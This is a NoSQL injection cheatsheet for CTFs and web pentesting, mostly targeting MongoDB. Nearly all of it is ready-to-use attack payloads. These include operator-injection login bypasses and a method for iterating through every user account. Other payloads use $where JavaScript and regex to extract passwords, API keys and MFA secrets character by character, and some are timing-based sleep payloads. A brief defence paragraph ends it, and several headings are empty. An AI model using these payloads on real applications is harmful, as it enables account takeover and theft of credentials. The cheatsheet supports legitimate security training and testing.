NoSQL Injection

Cheatsheet for CTFs & web pentests. Based on PortSwigger Web Security Academy. Most examples target MongoDB (most common in the wild).

Two flavors:

See also SQL Injection, Authentication (auth-bypass payloads), API Security.

Where to look

Detection

Fuzz string (URL / param):

'"`{
;$Foo}
$Foo \xYZ

JSON-encoded variant:

'\"`{\r;$Foo}\n$Foo \\xYZ

Single-character probes:

Input Look for
' error / different response → string context
" same, double-quoted context
\ escape handling
; } ends query block
(%00) Mongo may truncate at null → drops trailing conditions

Boolean confirmation (string ctx):

fizzy' && 0 && 'x      → false  (no/empty results)
fizzy' && 1 && 'x      → true   (results back)
fizzy'||1||'           → always true (dump everything, incl. unreleased)
fizzy'%00              → truncate, ignore further conditions

Operator injection (the bread & butter)

JSON body — turn a string into an operator object:

{"username":{"$ne":"x"},"password":{"$ne":"x"}}      # auth bypass: first user
{"username":{"$regex":"^admin"},"password":{"$ne":""}}   # target admin
{"username":{"$in":["admin","administrator","root"]},"password":{"$ne":""}}
{"username":{"$gt":""},"password":{"$gt":""}}        # alt to $ne
{"username":"admin","password":{"$regex":"^a"}}      # exfil char-by-char

URL-param form (when body isn’t JSON):

username[$ne]=x&password[$ne]=x
username[$regex]=^admin&password[$ne]=

If URL form fails: switch to POST + Content-Type: application/json and inject in body. Burp’s Content Type Converter extension automates it.

Useful operators: $ne $gt $lt $in $nin $exists $regex $where $or $and $not $expr $type $mod.

Auth bypass shortcuts

Try in order:

  1. {"username":"admin","password":{"$ne":"x"}}
  2. {"username":{"$ne":"x"},"password":{"$ne":"x"}} — logs in as first doc, often root
  3. {"username":{"$regex":"^adm"},"password":{"$ne":""}}
  4. {"username":{"$in":["admin","administrator","superadmin","root"]},"password":{"$ne":""}}
  5. URL-encoded: username[$ne]=x&password[$ne]=x

$ne only logs you in as the first doc. To walk through every account, exclude the ones you’ve already landed on with $nin and keep growing the list:

{"username":{"$nin":["admin"]},"password":{"$ne":"x"}}            # next user after admin
{"username":{"$nin":["admin","jude"]},"password":{"$ne":"x"}}     # skip both, get the next

Repeat until you’ve hit every account. Cleaner than guessing names with $in.

Exfiltration via $where (server-side JS)

If the app uses $where, you get arbitrary JS in the query context — this is the current document.

Length:

admin' && this.password.length == 8 || 'a'=='b
admin' && this.password.length < 30 || 'a'=='b   # binary-search the length

Char-by-char:

admin' && this.password[0] == 'a' || 'a'=='b
admin' && this.password.match(/^a/) || 'a'=='b
admin' && this.password.match(/\d/) || 'a'=='b   # contains digit?

Burp Intruder cluster bomb: position 1 = index 0..len-1, position 2 = a-z0-9. Sort by Length to spot true hits.

Field-name discovery

You don’t know the schema — Mongo is schemaless. Discover fields:

Via $where + Object.keys(this):

"$where":"Object.keys(this)[0].match('^.{0}a.*')"   # 1st char of 1st field is 'a'?
"$where":"Object.keys(this)[1].match('^.{§§}§§.*')"  # 2nd field, char by char

Increment the array index to walk all fields. Look for things like passwordResetToken, apiKey, mfaSecret, email.

Or by guessing: admin' && this.password != ' (compare response to a known-good field like username and a junk field like foo).

Operator-based exfil (no $where available)

{"username":"admin","password":{"$regex":"^a.*"}}
{"username":"admin","password":{"$regex":"^ab.*"}}
{"username":"admin","password":{"$regex":"^abc.*"}}

Bisect with character classes: ^[a-m], then ^[a-f], etc. — log2(charset) requests per char.

Useful regex tricks:

^a.*           starts with a
.*z$           ends with z
^a{5}$         exact length 5
[A-Z]          contains uppercase

Inject $where even when not present

Add it as an extra JSON key — Mongo applies all top-level keys as conditions:

{"username":"carlos","password":{"$ne":"x"},"$where":"0"}   #  no match
{"username":"carlos","password":{"$ne":"x"},"$where":"1"}   #  match

Different responses ⇒ $where JS is being evaluated → escalate to data extraction.

Timing-based (when responses don’t differ)

admin'+function(x){var t=new Date(new Date().getTime()+5000);while((x.password[0]==='a')&&t>new Date()){};}(this)+'
admin'+function(x){if(x.password[0]==='a'){sleep(5000)};}(this)+'
{"$where":"sleep(5000)"}
{"$where":"if(this.password[0]=='a'){sleep(3000)}"}

Baseline the normal latency 5–10× first.

Other NoSQL DBs (quick hits)

Tools

CTF / pentest checklist

Defence (one-liner)

Validate types server-side (typeof password === 'string') — most Mongo-driver operator injections die here. Allowlist input keys, never spread user JSON straight into a query (db.users.findOne({...req.body}) is the classic sin). Avoid $where and mapReduce with user input. Parameterize via the driver’s typed query builders.